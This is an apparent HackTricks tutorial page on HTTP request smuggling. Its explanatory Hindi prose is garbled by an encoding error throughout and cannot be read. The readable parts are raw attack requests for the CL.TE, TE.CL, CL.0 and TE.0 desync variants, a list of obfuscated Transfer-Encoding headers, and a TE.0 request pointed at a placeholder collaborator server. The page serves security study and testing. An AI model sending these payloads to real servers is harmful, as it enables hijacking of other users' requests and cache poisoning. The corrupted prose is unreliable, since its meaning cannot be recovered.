HTTP Request Smuggling / HTTP Desync Attack

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE) GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рдХреНрдпрд╛ рд╣реИ

рдпрд╣ рднреЗрджреНрдпрддрд╛ рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреНрд░реЙрдХреНрд╕реА рдФрд░ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рдПрдХ рдбрд┐рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЬреЗрд╢рди рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ HTTP рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреНрд░реЙрдХреНрд╕реА рджреНрд╡рд╛рд░рд╛ рдПрдХрд▓ рдЕрдиреБрд░реЛрдз рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рд▓реЛрдб рдмреИрд▓реЗрдВрд╕/рд░рд┐рд╡рд░реНрд╕-рдкреНрд░реЙрдХреНрд╕реА) рдФрд░ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ 2 рдЕрдиреБрд░реЛрдз рдХреЗ рд░реВрдк рдореЗрдВред рдпрд╣ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЙрд╕рдХреЗ рдмрд╛рдж рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рд╕рд┐рджреНрдзрд╛рдВрдд

RFC рд╡рд┐рдирд┐рд░реНрджреЗрд╢рди (2161)

рдпрджрд┐ рдПрдХ рд╕рдВрджреЗрд╢ рджреЛрдиреЛрдВ рдПрдХ Transfer-Encoding рд╣реЗрдбрд░ рдлрд╝реАрд▓реНрдб рдФрд░ рдПрдХ Content-Length рд╣реЗрдбрд░ рдлрд╝реАрд▓реНрдб рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмрд╛рдж рд╡рд╛рд▓реЗ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

Content-Length

Content-Length рдПрдВрдЯрд┐рдЯреА рд╣реЗрдбрд░ рдЙрд╕ рдПрдВрдЯрд┐рдЯреА-рд╢рд░реАрд░ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдмрд╛рдЗрдЯреНрд╕ рдореЗрдВ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдХреЛ рднреЗрдЬрд╛ рдЧрдпрд╛ рд╣реИред

Transfer-Encoding: chunked

Transfer-Encoding рд╣реЗрдбрд░ рдЙрд╕ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЗ рд░реВрдк рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдкреЗрд▓реЛрдб рд╢рд░реАрд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдХ рдкрд╣реБрдБрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Chunked рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдмрдбрд╝реЗ рдбреЗрдЯрд╛ рдХреЛ рдХрдИ рдЯреБрдХрдбрд╝реЛрдВ рдореЗрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╡рд╛рд╕реНрддрд╡рд┐рдХрддрд╛

рдлреНрд░рдВрдЯ-рдПрдВрдб (рдПрдХ рд▓реЛрдб-рдмреИрд▓реЗрдВрд╕ / рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА) content-length рдпрд╛ transfer-encoding рд╣реЗрдбрд░ рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рджреВрд╕рд░реЗ рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ 2 рд╕рд┐рд╕реНрдЯрдореЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рдбрд┐рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЬреЗрд╢рди рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдЬреЛ рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдХреЛ 2 рдЕрд▓рдЧ-рдЕрд▓рдЧ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЦрддрд░рд╛ рдЗрд╕ рддрдереНрдп рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИ рдХрд┐ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рджреВрд╕рд░реЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯреЗрдб рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд░реЗрдЧрд╛ рдЬреИрд╕реЗ рдХрд┐ рдпрд╣ рдЕрдЧрд▓реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рдЖрдпрд╛ рд╣реЛ рдФрд░ рдЙрд╕ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдиреБрд░реЛрдз рдЗрдВрдЬреЗрдХреНрдЯреЗрдб рдЕрдиреБрд░реЛрдз рдХрд╛ рднрд╛рдЧ рд╣реЛрдЧрд╛ред

рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ HTTP рдореЗрдВ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ рдХрд╛ рд╡рд░реНрдг 2 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдмрдирд╛ рд╣реЛрддрд╛ рд╣реИ:

  • Content-Length: рдпрд╣ рд╣реЗрдбрд░ рдЕрдиреБрд░реЛрдз рдХреЗ рд╢рд░реАрд░ рдХреЗ рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рджрд╢рдорд▓рд╡ рд╕рдВрдЦреНрдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╢рд░реАрд░ рдХреЛ рдЕрдВрддрд┐рдо рд╡рд░реНрдг рдореЗрдВ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреА рдЙрдореНрдореАрдж рд╣реИ, рдЕрдиреБрд░реЛрдз рдХреЗ рдЕрдВрдд рдореЗрдВ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

  • Transfer-Encoding: рдпрд╣ рд╣реЗрдбрд░ рд╢рд░реАрд░ рдореЗрдВ рдПрдХ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рд╕рдВрдЦреНрдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЕрдЧрд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХреЗ рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЯреБрдХрдбрд╝рд╛ рдХреЛ рдирдИ рдкрдВрдХреНрддрд┐ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рд▓реЗрдХрд┐рди рдпрд╣ рдирдИ рдкрдВрдХреНрддрд┐ рд▓рдВрдмрд╛рдИ рд╕рдВрдХреЗрддрдХ рджреНрд╡рд╛рд░рд╛ рдирд╣реАрдВ рдЧрд┐рдиреА рдЬрд╛рддреАред рдЗрд╕ рдЯреНрд░рд╛рдВрд╕рдлрд░ рд╡рд┐рдзрд┐ рдХреЛ 0 рдЖрдХрд╛рд░ рдХреЗ рдЯреБрдХрдбрд╝реЗ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдХреЗ рдмрд╛рдж 2 рдирдИ рдкрдВрдХреНрддрд┐рдпрд╛рдБ рд╣реЛрдВ: 0

  • Connection: рдореЗрд░реЗ рдЕрдиреБрднрд╡ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХреЗ рдкрд╣рд▓реЗ рдЕрдиреБрд░реЛрдз рдкрд░ Connection: keep-alive рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред

рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг

рдЬрдм Burp Suite рдХреЗ рд╕рд╛рде рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реЛрдВ, рддреЛ Update Content-Length рдФрд░ Normalize HTTP/1 line endings рдХреЛ рд░рд┐рдкреАрдЯрд░ рдореЗрдВ рдмрдВрдж рдХрд░реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рдЧреИрдЬреЗрдЯ рдирдИ рдкрдВрдХреНрддрд┐рдпреЛрдВ, рдХреИрд░рд┐рдЬ рд░рд┐рдЯрд░реНрди рдФрд░ рдЧрд▓рдд рд╕рд╛рдордЧреНрд░реА-рд▓рдВрдмрд╛рдИ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред

HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рд╣рдорд▓реЗ рдЕрд╕реНрдкрд╖реНрдЯ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рддреИрдпрд╛рд░ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬреЛ Content-Length (CL) рдФрд░ Transfer-Encoding (TE) рд╣реЗрдбрд░реЛрдВ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдореЗрдВ рдлреНрд░рдВрдЯ-рдПрдВрдб рдФрд░ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдмреАрдЪ рдЕрд╕рдорд╛рдирддрд╛рдУрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВред рдпреЗ рд╣рдорд▓реЗ рд╡рд┐рднрд┐рдиреНрди рд░реВрдкреЛрдВ рдореЗрдВ рдкреНрд░рдХрдЯ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ CL.TE, TE.CL, рдФрд░ TE.TE рдХреЗ рд░реВрдк рдореЗрдВред рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдХрд╛рд░ рдЙрди рд╣реЗрдбрд░реЛрдВ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХрд╛ рдПрдХ рдЕрдиреВрдард╛ рд╕рдВрдпреЛрдЬрди рджрд░реНрд╢рд╛рддрд╛ рд╣реИред рднреЗрджреНрдпрддрд╛рдПрдБ рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИрдВ рдЬрдм рд╕рд░реНрд╡рд░ рдПрдХ рд╣реА рдЕрдиреБрд░реЛрдз рдХреЛ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкрд░рд┐рдгрд╛рдо рд╣реЛрддреЗ рд╣реИрдВред

рднреЗрджреНрдпрддрд╛ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЗ рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

рдкрд┐рдЫрд▓реЗ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдЖрдкрдХреЛ TE.0 рддрдХрдиреАрдХ рдЬреЛрдбрд╝рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ CL.0 рддрдХрдиреАрдХ рд▓реЗрдХрд┐рди Transfer Encoding рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред

CL.TE рднреЗрджреНрдпрддрд╛ (рдлреНрд░рдВрдЯ-рдПрдВрдб рджреНрд╡рд╛рд░рд╛ Content-Length рдХрд╛ рдЙрдкрдпреЛрдЧ, рдмреИрдХ-рдПрдВрдб рджреНрд╡рд╛рд░рд╛ Transfer-Encoding рдХрд╛ рдЙрдкрдпреЛрдЧ)

  • рдлреНрд░рдВрдЯ-рдПрдВрдб (CL): Content-Length рд╣реЗрдбрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИред

  • рдмреИрдХ-рдПрдВрдб (TE): Transfer-Encoding рд╣реЗрдбрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИред

  • рд╣рдорд▓рд╛ рдкрд░рд┐рджреГрд╢реНрдп:

  • рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ Content-Length рд╣реЗрдбрд░ рдХрд╛ рдорд╛рди рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рд╛рдордЧреНрд░реА рдХреА рд▓рдВрдмрд╛рдИ рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ред

  • рдлреНрд░рдВрдЯ-рдПрдВрдб рд╕рд░реНрд╡рд░ Content-Length рдорд╛рди рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреВрд░реЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдмреИрдХ-рдПрдВрдб рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред

  • рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ Transfer-Encoding: chunked рд╣реЗрдбрд░ рдХреЗ рдХрд╛рд░рдг рдЕрдиреБрд░реЛрдз рдХреЛ рдЯреБрдХрдбрд╝реЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ, рд╢реЗрд╖ рдбреЗрдЯрд╛ рдХреЛ рдПрдХ рдЕрд▓рдЧ, рдЕрдЧрд▓рд╛ рдЕрдиреБрд░реЛрдз рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд░рддрд╛ рд╣реИред

  • рдЙрджрд╛рд╣рд░рдг:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL рднреЗрджреНрдпрддрд╛ (рдлреНрд░рдВрдЯ-рдПрдВрдб рджреНрд╡рд╛рд░рд╛ Transfer-Encoding рдХрд╛ рдЙрдкрдпреЛрдЧ, рдмреИрдХ-рдПрдВрдб рджреНрд╡рд╛рд░рд╛ Content-Length рдХрд╛ рдЙрдкрдпреЛрдЧ)

  • рдлреНрд░рдВрдЯ-рдПрдВрдб (TE): Transfer-Encoding рд╣реЗрдбрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИред

  • рдмреИрдХ-рдПрдВрдб (CL): Content-Length рд╣реЗрдбрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИред

  • рд╣рдорд▓рд╛ рдкрд░рд┐рджреГрд╢реНрдп:

  • рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдЖрдХрд╛рд░ (7b) рдФрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рд╛рдордЧреНрд░реА рдХреА рд▓рдВрдмрд╛рдИ (Content-Length: 4) рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреАред

  • рдлреНрд░рдВрдЯ-рдПрдВрдб рд╕рд░реНрд╡рд░, Transfer-Encoding рдХрд╛ рд╕рдореНрдорд╛рди рдХрд░рддреЗ рд╣реБрдП, рдкреВрд░реЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдмреИрдХ-рдПрдВрдб рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред

  • рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░, Content-Length рдХрд╛ рд╕рдореНрдорд╛рди рдХрд░рддреЗ рд╣реБрдП, рдХреЗрд╡рд▓ рдЕрдиреБрд░реЛрдз рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рднрд╛рдЧ (7b рдмрд╛рдЗрдЯреНрд╕) рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ, рд╢реЗрд╖ рдХреЛ рдПрдХ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдЕрдЧрд▓рд╛ рдЕрдиреБрд░реЛрдз рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред

  • рдЙрджрд╛рд╣рд░рдг:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE рднреЗрджреНрдпрддрд╛ (рджреЛрдиреЛрдВ рджреНрд╡рд╛рд░рд╛ Transfer-Encoding рдХрд╛ рдЙрдкрдпреЛрдЧ, рд╕рд╛рде рдореЗрдВ рдЕрд╕реНрдкрд╖реНрдЯрддрд╛)

  • рд╕рд░реНрд╡рд░: рджреЛрдиреЛрдВ Transfer-Encoding рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдПрдХ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдирджреЗрдЦрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • рд╣рдорд▓рд╛ рдкрд░рд┐рджреГрд╢реНрдп:

  • рд╣рдорд▓рд╛рд╡рд░ рдЕрд╕реНрдкрд╖реНрдЯ Transfer-Encoding рд╣реЗрдбрд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИред

  • рдЬрд┐рд╕ рд╕рд░реНрд╡рд░ (рдлреНрд░рдВрдЯ-рдПрдВрдб рдпрд╛ рдмреИрдХ-рдПрдВрдб) рдиреЗ рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓рддрд╛ рджрд┐рдЦрд╛рдИ, рд╡рд╣рд╛рдБ CL.TE рдпрд╛ TE.CL рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • рдЕрдиреБрд░реЛрдз рдХрд╛ рдЕрдкреНрд░рд╕рдВрд╕реНрдХреГрдд рднрд╛рдЧ, рдЬреИрд╕рд╛ рдХрд┐ рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рджреНрд╡рд╛рд░рд╛ рджреЗрдЦрд╛ рдЧрдпрд╛, рдПрдХ рдЕрдЧрд▓рд╛ рдЕрдиреБрд░реЛрдз рдХрд╛ рднрд╛рдЧ рдмрди рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реНрдордЧрд▓рд┐рдВрдЧ рд╣реЛрддреА рд╣реИред

  • рдЙрджрд╛рд╣рд░рдг:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL рдкрд░рд┐рджреГрд╢реНрдп (рдлреНрд░рдВрдЯ-рдПрдВрдб рдФрд░ рдмреИрдХ-рдПрдВрдб рджреЛрдиреЛрдВ рджреНрд╡рд╛рд░рд╛ Content-Length рдХрд╛ рдЙрдкрдпреЛрдЧ)

  • рджреЛрдиреЛрдВ рд╕рд░реНрд╡рд░ рдХреЗрд╡рд▓ Content-Length рд╣реЗрдбрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддреЗ рд╣реИрдВред

  • рдпрд╣ рдкрд░рд┐рджреГрд╢реНрдп рдЖрдорддреМрд░ рдкрд░ рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХреА рдУрд░ рдирд╣реАрдВ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рджреЛрдиреЛрдВ рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреА рд▓рдВрдмрд╛рдИ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдореЗрдВ рд╕рдВрд░реЗрдЦрдг рд╣реЛрддрд╛ рд╣реИред

  • рдЙрджрд╛рд╣рд░рдг:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 рдкрд░рд┐рджреГрд╢реНрдп

  • рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ Content-Length рд╣реЗрдбрд░ рдореМрдЬреВрдж рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдорд╛рди рд╢реВрдиреНрдп рдХреЗ рдЕрд▓рд╛рд╡рд╛ рд╣реИ, рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рд╢рд░реАрд░ рдореЗрдВ рд╕рд╛рдордЧреНрд░реА рд╣реИред рдмреИрдХ-рдПрдВрдб Content-Length рд╣реЗрдбрд░ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддрд╛ рд╣реИ (рдЬрд┐рд╕реЗ 0 рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ), рд▓реЗрдХрд┐рди рдлреНрд░рдВрдЯ-рдПрдВрдб рдЗрд╕реЗ рдкрд╛рд░реНрд╕ рдХрд░рддрд╛ рд╣реИред

  • рдпрд╣ рд╕рдордЭрдиреЗ рдФрд░ рд╕реНрдордЧрд▓рд┐рдВрдЧ рд╣рдорд▓реЛрдВ рдХреЛ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЕрдиреБрд░реЛрдз рдХреЗ рдЕрдВрдд рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХреИрд╕реЗ рдХрд░рддреЗ рд╣реИрдВред

  • рдЙрджрд╛рд╣рд░рдг:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 рдкрд░рд┐рджреГрд╢реНрдп

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЛ рддреЛрдбрд╝рдирд╛

